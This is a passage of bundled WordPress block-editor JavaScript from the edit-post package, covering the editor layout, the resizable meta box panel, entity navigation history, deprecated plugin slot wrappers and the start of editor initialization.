      const lastChildRect = lastChild.getBoundingClientRect();
      if (event.clientY < lastChildRect.bottom) {
        return;
      }
      event.preventDefault();
      const blockOrder = registry.select(external_wp_blockEditor_namespaceObject.store).getBlockOrder('');
      const lastBlockClientId = blockOrder[blockOrder.length - 1];
      const lastBlock = registry.select(external_wp_blockEditor_namespaceObject.store).getBlock(lastBlockClientId);
      const {
        selectBlock,
        insertDefaultBlock
      } = registry.dispatch(external_wp_blockEditor_namespaceObject.store);
      if (lastBlock && (0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(lastBlock)) {
        selectBlock(lastBlockClientId);
      } else {
        insertDefaultBlock();
      }
    }
    const {
      ownerDocument
    } = node;
    // Adds the listener on the document so that in the iframed editor clicks below the
    // padding can be handled as they too should be treated as intent to append.
    ownerDocument.addEventListener('mousedown', onMouseDown);
    return () => {
      ownerDocument.removeEventListener('mousedown', onMouseDown);
    };
  }, [registry]);
  return enabled ? [effect, CSS] : [];
}

;// ./node_modules/@wordpress/edit-post/build-module/components/layout/use-should-iframe.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */

const isGutenbergPlugin =  false ? 0 : false;
function useShouldIframe() {
  return (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorSettings,
      getCurrentPostType,
      getDeviceType
    } = select(external_wp_editor_namespaceObject.store);
    return (
      // If the theme is block based and the Gutenberg plugin is active,
      // we ALWAYS use the iframe for consistency across the post and site
      // editor.
      isGutenbergPlugin && getEditorSettings().__unstableIsBlockBasedTheme ||
      // We also still want to iframe all the special
      // editor features and modes such as device previews, zoom out, and
      // template/pattern editing.
      getDeviceType() !== 'Desktop' || ['wp_template', 'wp_block'].includes(getCurrentPostType()) || unlock(select(external_wp_blockEditor_namespaceObject.store)).isZoomOut() ||
      // Finally, still iframe the editor if all blocks are v3 (which means
      // they are marked as iframe-compatible).
      select(external_wp_blocks_namespaceObject.store).getBlockTypes().every(type => type.apiVersion >= 3)
    );
  }, []);
}

;// ./node_modules/@wordpress/edit-post/build-module/hooks/use-navigate-to-entity-record.js
/**
 * WordPress dependencies
 */




/**
 * A hook that records the 'entity' history in the post editor as a user
 * navigates between editing a post and editing the post template or patterns.
 *
 * Implemented as a stack, so a little similar to the browser history API.
 *
 * Used to control displaying UI elements like the back button.
 *
 * @param {number} initialPostId        The post id of the post when the editor loaded.
 * @param {string} initialPostType      The post type of the post when the editor loaded.
 * @param {string} defaultRenderingMode The rendering mode to switch to when navigating.
 *
 * @return {Object} An object containing the `currentPost` variable and
 *                 `onNavigateToEntityRecord` and `onNavigateToPreviousEntityRecord` functions.
 */
function useNavigateToEntityRecord(initialPostId, initialPostType, defaultRenderingMode) {
  const [postHistory, dispatch] = (0,external_wp_element_namespaceObject.useReducer)((historyState, {
    type,
    post,
    previousRenderingMode
  }) => {
    if (type === 'push') {
      return [...historyState, {
        post,
        previousRenderingMode
      }];
    }
    if (type === 'pop') {
      // Try to leave one item in the history.
      if (historyState.length > 1) {
        return historyState.slice(0, -1);
      }
    }
    return historyState;
  }, [{
    post: {
      postId: initialPostId,
      postType: initialPostType
    }
  }]);
  const {
    post,
    previousRenderingMode
  } = postHistory[postHistory.length - 1];
  const {
    getRenderingMode
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_editor_namespaceObject.store);
  const {
    setRenderingMode
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  const onNavigateToEntityRecord = (0,external_wp_element_namespaceObject.useCallback)(params => {
    dispatch({
      type: 'push',
      post: {
        postId: params.postId,
        postType: params.postType
      },
      // Save the current rendering mode so we can restore it when navigating back.
      previousRenderingMode: getRenderingMode()
    });
    setRenderingMode(defaultRenderingMode);
  }, [getRenderingMode, setRenderingMode, defaultRenderingMode]);
  const onNavigateToPreviousEntityRecord = (0,external_wp_element_namespaceObject.useCallback)(() => {
    dispatch({
      type: 'pop'
    });
    if (previousRenderingMode) {
      setRenderingMode(previousRenderingMode);
    }
  }, [setRenderingMode, previousRenderingMode]);
  return {
    currentPost: post,
    onNavigateToEntityRecord,
    onNavigateToPreviousEntityRecord: postHistory.length > 1 ? onNavigateToPreviousEntityRecord : undefined
  };
}

;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/use-meta-box-initialization.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Initializes WordPress `postboxes` script and the logic for saving meta boxes.
 *
 * @param { boolean } enabled
 */
const useMetaBoxInitialization = enabled => {
  const isEnabledAndEditorReady = (0,external_wp_data_namespaceObject.useSelect)(select => enabled && select(external_wp_editor_namespaceObject.store).__unstableIsEditorReady(), [enabled]);
  const {
    initializeMetaBoxes
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  // The effect has to rerun when the editor is ready because initializeMetaBoxes
  // will noop until then.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (isEnabledAndEditorReady) {
      initializeMetaBoxes();
    }
  }, [isEnabledAndEditorReady, initializeMetaBoxes]);
};

;// ./node_modules/@wordpress/edit-post/build-module/components/layout/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


















/**
 * Internal dependencies
 */
















const {
  getLayoutStyles
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  useCommands: layout_useCommands
} = unlock(external_wp_coreCommands_namespaceObject.privateApis);
const {
  useCommandContext
} = unlock(external_wp_commands_namespaceObject.privateApis);
const {
  Editor,
  FullscreenMode,
  NavigableRegion
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  BlockKeyboardShortcuts
} = unlock(external_wp_blockLibrary_namespaceObject.privateApis);
const DESIGN_POST_TYPES = ['wp_template', 'wp_template_part', 'wp_block', 'wp_navigation'];
function useEditorStyles(...additionalStyles) {
  const {
    hasThemeStyleSupport,
    editorSettings
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      hasThemeStyleSupport: select(store).isFeatureActive('themeStyles'),
      editorSettings: select(external_wp_editor_namespaceObject.store).getEditorSettings()
    };
  }, []);
  const addedStyles = additionalStyles.join('\n');

  // Compute the default styles.
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _editorSettings$style, _editorSettings$defau, _editorSettings$style2, _editorSettings$style3;
    const presetStyles = (_editorSettings$style = editorSettings.styles?.filter(style => style.__unstableType && style.__unstableType !== 'theme')) !== null && _editorSettings$style !== void 0 ? _editorSettings$style : [];
    const defaultEditorStyles = [...((_editorSettings$defau = editorSettings?.defaultEditorStyles) !== null && _editorSettings$defau !== void 0 ? _editorSettings$defau : []), ...presetStyles];

    // Has theme styles if the theme supports them and if some styles were not preset styles (in which case they're theme styles).
    const hasThemeStyles = hasThemeStyleSupport && presetStyles.length !== ((_editorSettings$style2 = editorSettings.styles?.length) !== null && _editorSettings$style2 !== void 0 ? _editorSettings$style2 : 0);

    // If theme styles are not present or displayed, ensure that
    // base layout styles are still present in the editor.
    if (!editorSettings.disableLayoutStyles && !hasThemeStyles) {
      defaultEditorStyles.push({
        css: getLayoutStyles({
          style: {},
          selector: 'body',
          hasBlockGapSupport: false,
          hasFallbackGapSupport: true,
          fallbackGapValue: '0.5em'
        })
      });
    }
    const baseStyles = hasThemeStyles ? (_editorSettings$style3 = editorSettings.styles) !== null && _editorSettings$style3 !== void 0 ? _editorSettings$style3 : [] : defaultEditorStyles;
    if (addedStyles) {
      return [...baseStyles, {
        css: addedStyles
      }];
    }
    return baseStyles;
  }, [editorSettings.defaultEditorStyles, editorSettings.disableLayoutStyles, editorSettings.styles, hasThemeStyleSupport, addedStyles]);
}

/**
 * @param {Object}  props
 * @param {boolean} props.isLegacy True when the editor canvas is not in an iframe.
 */
function MetaBoxesMain({
  isLegacy
}) {
  const [isOpen, openHeight, hasAnyVisible] = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      isMetaBoxLocationVisible
    } = select(store);
    return [get('core/edit-post', 'metaBoxesMainIsOpen'), get('core/edit-post', 'metaBoxesMainOpenHeight'), isMetaBoxLocationVisible('normal') || isMetaBoxLocationVisible('advanced') || isMetaBoxLocationVisible('side')];
  }, []);
  const {
    set: setPreference
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const metaBoxesMainRef = (0,external_wp_element_namespaceObject.useRef)();
  const isShort = (0,external_wp_compose_namespaceObject.useMediaQuery)('(max-height: 549px)');
  const [{
    min,
    max
  }, setHeightConstraints] = (0,external_wp_element_namespaceObject.useState)(() => ({}));
  // Keeps the resizable area’s size constraints updated taking into account
  // editor notices. The constraints are also used to derive the value for the
  // aria-valuenow attribute on the separator.
  const effectSizeConstraints = (0,external_wp_compose_namespaceObject.useRefEffect)(node => {
    const container = node.closest('.interface-interface-skeleton__content');
    const noticeLists = container.querySelectorAll(':scope > .components-notice-list');
    const resizeHandle = container.querySelector('.edit-post-meta-boxes-main__presenter');
    const deriveConstraints = () => {
      const fullHeight = container.offsetHeight;
      let nextMax = fullHeight;
      for (const element of noticeLists) {
        nextMax -= element.offsetHeight;
      }
      const nextMin = resizeHandle.offsetHeight;
      setHeightConstraints({
        min: nextMin,
        max: nextMax
      });
    };
    const observer = new window.ResizeObserver(deriveConstraints);
    observer.observe(container);
    for (const element of noticeLists) {
      observer.observe(element);
    }
    return () => observer.disconnect();
  }, []);
  const separatorRef = (0,external_wp_element_namespaceObject.useRef)();
  const separatorHelpId = (0,external_wp_element_namespaceObject.useId)();
  const [isUntouched, setIsUntouched] = (0,external_wp_element_namespaceObject.useState)(true);
  const applyHeight = (candidateHeight, isPersistent, isInstant) => {
    const nextHeight = Math.min(max, Math.max(min, candidateHeight));
    if (isPersistent) {
      setPreference('core/edit-post', 'metaBoxesMainOpenHeight', nextHeight);
    } else {
      separatorRef.current.ariaValueNow = getAriaValueNow(nextHeight);
    }
    if (isInstant) {
      metaBoxesMainRef.current.updateSize({
        height: nextHeight,
        // Oddly, when the event that triggered this was not from the mouse (e.g. keydown),
        // if `width` is left unspecified a subsequent drag gesture applies a fixed
        // width and the pane fails to widen/narrow with parent width changes from
        // sidebars opening/closing or window resizes.
        width: 'auto'
      });
    }
  };
  if (!hasAnyVisible) {
    return;
  }
  const contents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: dist_clsx(
    // The class name 'edit-post-layout__metaboxes' is retained because some plugins use it.
    'edit-post-layout__metaboxes', !isLegacy && 'edit-post-meta-boxes-main__liner'),
    hidden: !isLegacy && isShort && !isOpen,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxes, {
      location: "normal"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxes, {
      location: "advanced"
    })]
  });
  if (isLegacy) {
    return contents;
  }
  const isAutoHeight = openHeight === undefined;
  let usedMax = '50%'; // Approximation before max has a value.
  if (max !== undefined) {
    // Halves the available max height until a user height is set.
    usedMax = isAutoHeight && isUntouched ? max / 2 : max;
  }
  const getAriaValueNow = height => Math.round((height - min) / (max - min) * 100);
  const usedAriaValueNow = max === undefined || isAutoHeight ? 50 : getAriaValueNow(openHeight);
  const toggle = () => setPreference('core/edit-post', 'metaBoxesMainIsOpen', !isOpen);

  // TODO: Support more/all keyboard interactions from the window splitter pattern:
  // https://www.w3.org/WAI/ARIA/apg/patterns/windowsplitter/
  const onSeparatorKeyDown = event => {
    const delta = {
      ArrowUp: 20,
      ArrowDown: -20
    }[event.key];
    if (delta) {
      const pane = metaBoxesMainRef.current.resizable;
      const fromHeight = isAutoHeight ? pane.offsetHeight : openHeight;
      const nextHeight = delta + fromHeight;
      applyHeight(nextHeight, true, true);
      event.preventDefault();
    }
  };
  const className = 'edit-post-meta-boxes-main';
  const paneLabel = (0,external_wp_i18n_namespaceObject.__)('Meta Boxes');
  let Pane, paneProps;
  if (isShort) {
    Pane = NavigableRegion;
    paneProps = {
      className: dist_clsx(className, 'is-toggle-only')
    };
  } else {
    Pane = external_wp_components_namespaceObject.ResizableBox;
    paneProps = /** @type {Parameters<typeof ResizableBox>[0]} */{
      as: NavigableRegion,
      ref: metaBoxesMainRef,
      className: dist_clsx(className, 'is-resizable'),
      defaultSize: {
        height: openHeight
      },
      minHeight: min,
      maxHeight: usedMax,
      enable: {
        top: true,
        right: false,
        bottom: false,
        left: false,
        topLeft: false,
        topRight: false,
        bottomRight: false,
        bottomLeft: false
      },
      handleClasses: {
        top: 'edit-post-meta-boxes-main__presenter'
      },
      handleComponent: {
        top: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
            text: (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("button", {
              // eslint-disable-line jsx-a11y/role-supports-aria-props
              ref: separatorRef,
              role: "separator" // eslint-disable-line jsx-a11y/no-interactive-element-to-noninteractive-role
              ,
              "aria-valuenow": usedAriaValueNow,
              "aria-label": (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
              "aria-describedby": separatorHelpId,
              onKeyDown: onSeparatorKeyDown
            })
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
            id: separatorHelpId,
            children: (0,external_wp_i18n_namespaceObject.__)('Use up and down arrow keys to resize the meta box panel.')
          })]
        })
      },
      // Avoids hiccups while dragging over objects like iframes and ensures that
      // the event to end the drag is captured by the target (resize handle)
      // whether or not it’s under the pointer.
      onPointerDown: ({
        pointerId,
        target
      }) => {
        if (separatorRef.current.parentElement.contains(target)) {
          target.setPointerCapture(pointerId);
        }
      },
      onResizeStart: (event, direction, elementRef) => {
        if (isAutoHeight) {
          // Sets the starting height to avoid visual jumps in height and
          // aria-valuenow being `NaN` for the first (few) resize events.
          applyHeight(elementRef.offsetHeight, false, true);
          setIsUntouched(false);
        }
      },
      onResize: () => applyHeight(metaBoxesMainRef.current.state.height),
      onResizeStop: () => applyHeight(metaBoxesMainRef.current.state.height, true)
    };
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Pane, {
    "aria-label": paneLabel,
    ...paneProps,
    children: [isShort ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("button", {
      "aria-expanded": isOpen,
      className: "edit-post-meta-boxes-main__presenter",
      onClick: toggle,
      children: [paneLabel, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
        icon: isOpen ? chevron_up : chevron_down
      })]
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("meta", {
      ref: effectSizeConstraints
    }), contents]
  });
}
function Layout({
  postId: initialPostId,
  postType: initialPostType,
  settings,
  initialEdits
}) {
  layout_useCommands();
  useCommands();
  const shouldIframe = useShouldIframe();
  const {
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    currentPost: {
      postId: currentPostId,
      postType: currentPostType
    },
    onNavigateToEntityRecord,
    onNavigateToPreviousEntityRecord
  } = useNavigateToEntityRecord(initialPostId, initialPostType, 'post-only');
  const isEditingTemplate = currentPostType === 'wp_template';
  const {
    mode,
    isFullscreenActive,
    hasResolvedMode,
    hasActiveMetaboxes,
    hasBlockSelected,
    showIconLabels,
    isDistractionFree,
    showMetaBoxes,
    isWelcomeGuideVisible,
    templateId,
    enablePaddingAppender,
    isDevicePreview
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getPostType$viewable;
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      isFeatureActive,
      hasMetaBoxes
    } = select(store);
    const {
      canUser,
      getPostType,
      getTemplateId
    } = unlock(select(external_wp_coreData_namespaceObject.store));
    const supportsTemplateMode = settings.supportsTemplateMode;
    const isViewable = (_getPostType$viewable = getPostType(currentPostType)?.viewable) !== null && _getPostType$viewable !== void 0 ? _getPostType$viewable : false;
    const canViewTemplate = canUser('read', {
      kind: 'postType',
      name: 'wp_template'
    });
    const {
      getBlockSelectionStart,
      isZoomOut
    } = unlock(select(external_wp_blockEditor_namespaceObject.store));
    const {
      getEditorMode,
      getRenderingMode,
      getDefaultRenderingMode,
      getDeviceType
    } = unlock(select(external_wp_editor_namespaceObject.store));
    const isRenderingPostOnly = getRenderingMode() === 'post-only';
    const isNotDesignPostType = !DESIGN_POST_TYPES.includes(currentPostType);
    const isDirectlyEditingPattern = currentPostType === 'wp_block' && !onNavigateToPreviousEntityRecord;
    const _templateId = getTemplateId(currentPostType, currentPostId);
    const defaultMode = getDefaultRenderingMode(currentPostType);
    return {
      mode: getEditorMode(),
      isFullscreenActive: isFeatureActive('fullscreenMode'),
      hasActiveMetaboxes: hasMetaBoxes(),
      hasResolvedMode: defaultMode === 'template-locked' ? !!_templateId : defaultMode !== undefined,
      hasBlockSelected: !!getBlockSelectionStart(),
      showIconLabels: get('core', 'showIconLabels'),
      isDistractionFree: get('core', 'distractionFree'),
      showMetaBoxes: isNotDesignPostType && !isZoomOut() || isDirectlyEditingPattern,
      isWelcomeGuideVisible: isFeatureActive('welcomeGuide'),
      templateId: supportsTemplateMode && isViewable && canViewTemplate && !isEditingTemplate ? _templateId : null,
      enablePaddingAppender: !isZoomOut() && isRenderingPostOnly && isNotDesignPostType,
      isDevicePreview: getDeviceType() !== 'Desktop'
    };
  }, [currentPostType, currentPostId, isEditingTemplate, settings.supportsTemplateMode, onNavigateToPreviousEntityRecord]);
  useMetaBoxInitialization(hasActiveMetaboxes && hasResolvedMode);
  const [paddingAppenderRef, paddingStyle] = usePaddingAppender(enablePaddingAppender);

  // Set the right context for the command palette
  const commandContext = hasBlockSelected ? 'block-selection-edit' : 'entity-edit';
  useCommandContext(commandContext);
  const editorSettings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    ...settings,
    onNavigateToEntityRecord,
    onNavigateToPreviousEntityRecord,
    defaultRenderingMode: 'post-only'
  }), [settings, onNavigateToEntityRecord, onNavigateToPreviousEntityRecord]);
  const styles = useEditorStyles(paddingStyle);

  // We need to add the show-icon-labels class to the body element so it is applied to modals.
  if (showIconLabels) {
    document.body.classList.add('show-icon-labels');
  } else {
    document.body.classList.remove('show-icon-labels');
  }
  const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)();
  const className = dist_clsx('edit-post-layout', 'is-mode-' + mode, {
    'has-metaboxes': hasActiveMetaboxes
  });
  function onPluginAreaError(name) {
    createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: plugin name */
    (0,external_wp_i18n_namespaceObject.__)('The "%s" plugin has encountered an error and cannot be rendered.'), name));
  }
  const {
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const onActionPerformed = (0,external_wp_element_namespaceObject.useCallback)((actionId, items) => {
    switch (actionId) {
      case 'move-to-trash':
        {
          document.location.href = (0,external_wp_url_namespaceObject.addQueryArgs)('edit.php', {
            trashed: 1,
            post_type: items[0].type,
            ids: items[0].id
          });
        }
        break;
      case 'duplicate-post':
        {
          const newItem = items[0];
          const title = typeof newItem.title === 'string' ? newItem.title : newItem.title?.rendered;
          createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
          // translators: %s: Title of the created post or template, e.g: "Hello world".
          (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)), {
            type: 'snackbar',
            id: 'duplicate-post-action',
            actions: [{
              label: (0,external_wp_i18n_namespaceObject.__)('Edit'),
              onClick: () => {
                const postId = newItem.id;
                document.location.href = (0,external_wp_url_namespaceObject.addQueryArgs)('post.php', {
                  post: postId,
                  action: 'edit'
                });
              }
            }]
          });
        }
        break;
    }
  }, [createSuccessNotice]);
  const initialPost = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      type: initialPostType,
      id: initialPostId
    };
  }, [initialPostType, initialPostId]);
  const backButton = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium') && isFullscreenActive ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(back_button, {
    initialPost: initialPost
  }) : null;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SlotFillProvider, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_editor_namespaceObject.ErrorBoundary, {
      canCopyContent: true,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_commands_namespaceObject.CommandMenu, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuide, {
        postType: currentPostType
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: navigateRegionsProps.className,
        ...navigateRegionsProps,
        ref: navigateRegionsProps.ref,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Editor, {
          settings: editorSettings,
          initialEdits: initialEdits,
          postType: currentPostType,
          postId: currentPostId,
          templateId: templateId,
          className: className,
          styles: styles,
          forceIsDirty: hasActiveMetaboxes,
          contentRef: paddingAppenderRef,
          disableIframe: !shouldIframe
          // We should auto-focus the canvas (title) on load.
          // eslint-disable-next-line jsx-a11y/no-autofocus
          ,
          autoFocus: !isWelcomeGuideVisible,
          onActionPerformed: onActionPerformed,
          extraSidebarPanels: showMetaBoxes && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxes, {
            location: "side"
          }),
          extraContent: !isDistractionFree && showMetaBoxes && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxesMain, {
            isLegacy: !shouldIframe || isDevicePreview
          }),
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PostLockedModal, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorInitialization, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FullscreenMode, {
            isActive: isFullscreenActive
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(browser_url, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.UnsavedChangesWarning, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.AutosaveMonitor, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.LocalAutosaveMonitor, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorKeyboardShortcutsRegister, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(InitPatternModal, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_plugins_namespaceObject.PluginArea, {
            onError: onPluginAreaError
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(more_menu, {}), backButton, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorSnackbars, {})]
        })
      })]
    })
  });
}
/* harmony default export */ const layout = (Layout);

;// ./node_modules/@wordpress/edit-post/build-module/deprecated.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const {
  PluginPostExcerpt
} = unlock(external_wp_editor_namespaceObject.privateApis);
const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php');
const deprecateSlot = name => {
  external_wp_deprecated_default()(`wp.editPost.${name}`, {
    since: '6.6',
    alternative: `wp.editor.${name}`
  });
};

/* eslint-disable jsdoc/require-param */
/**
 * @see PluginBlockSettingsMenuItem in @wordpress/editor package.
 */
function PluginBlockSettingsMenuItem(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginBlockSettingsMenuItem');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginBlockSettingsMenuItem, {
    ...props
  });
}

/**
 * @see PluginDocumentSettingPanel in @wordpress/editor package.
 */
function PluginDocumentSettingPanel(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginDocumentSettingPanel');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginDocumentSettingPanel, {
    ...props
  });
}

/**
 * @see PluginMoreMenuItem in @wordpress/editor package.
 */
function PluginMoreMenuItem(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginMoreMenuItem');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginMoreMenuItem, {
    ...props
  });
}

/**
 * @see PluginPrePublishPanel in @wordpress/editor package.
 */
function PluginPrePublishPanel(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginPrePublishPanel');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginPrePublishPanel, {
    ...props
  });
}

/**
 * @see PluginPostPublishPanel in @wordpress/editor package.
 */
function PluginPostPublishPanel(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginPostPublishPanel');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginPostPublishPanel, {
    ...props
  });
}

/**
 * @see PluginPostStatusInfo in @wordpress/editor package.
 */
function PluginPostStatusInfo(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginPostStatusInfo');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginPostStatusInfo, {
    ...props
  });
}

/**
 * @see PluginSidebar in @wordpress/editor package.
 */
function PluginSidebar(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginSidebar');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebar, {
    ...props
  });
}

/**
 * @see PluginSidebarMoreMenuItem in @wordpress/editor package.
 */
function PluginSidebarMoreMenuItem(props) {
  if (isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginSidebarMoreMenuItem');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebarMoreMenuItem, {
    ...props
  });
}

/**
 * @see PluginPostExcerpt in @wordpress/editor package.
 */
function __experimentalPluginPostExcerpt() {
  if (isSiteEditor) {
    return null;
  }
  external_wp_deprecated_default()('wp.editPost.__experimentalPluginPostExcerpt', {
    since: '6.6',
    hint: 'Core and custom panels can be access programmatically using their panel name.',
    link: 'https://developer.wordpress.org/block-editor/reference-guides/slotfills/plugin-document-setting-panel/#accessing-a-panel-programmatically'
  });
  return PluginPostExcerpt;
}

/* eslint-enable jsdoc/require-param */

;// ./node_modules/@wordpress/edit-post/build-module/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */



const {
  BackButton: __experimentalMainDashboardButton,
  registerCoreBlockBindingsSources
} = unlock(external_wp_editor_namespaceObject.privateApis);

/**
 * Initializes and returns an instance of Editor.
 *
 * @param {string}  id           Unique identifier for editor instance.
 * @param {string}  postType     Post type of the post to edit.
 * @param {Object}  postId       ID of the post to edit.
 * @param {?Object} settings     Editor settings object.
 * @param {Object}  initialEdits Programmatic edits to apply initially, to be
 *                               considered as non-user-initiated (bypass for
 *                               unsaved changes prompt).
 */
function initializeEditor(id, postType, postId, settings, initialEdits) {
  const isMediumOrBigger = window.matchMedia('(min-width: 782px)').matches;
  const target = document.getElementById(id);
  const root = (0,external_wp_element_namespaceObject.createRoot)(target);
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/edit-post', {
    fullscreenMode: true,
    themeStyles: true,
    welcomeGuide: true,
    welcomeGuideTemplate: true
  });
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core', {
    allowRightClickOverrides: true,
    editorMode: 'visual',
    editorTool: 'edit',
    fixedToolbar: false,
    hiddenBlockTypes: [],
    inactivePanels: [],
    openPanels: ['post-status'],
    showBlockBreadcrumbs: true,
    showIconLabels: false,
    showListViewByDefault: false,
    enableChoosePatternModal: true,
    isPublishSidebarEnabled: true
  });
  if (window.__experimentalMediaProcessing) {
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/media', {
      requireApproval: true,
      optimizeOnUpload: true
    });
  }
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();

  // Check if the block list view should be open by default.
  // If `distractionFree` mode is enabled, the block list view should not be open.
  // This behavior is disabled for small viewports.
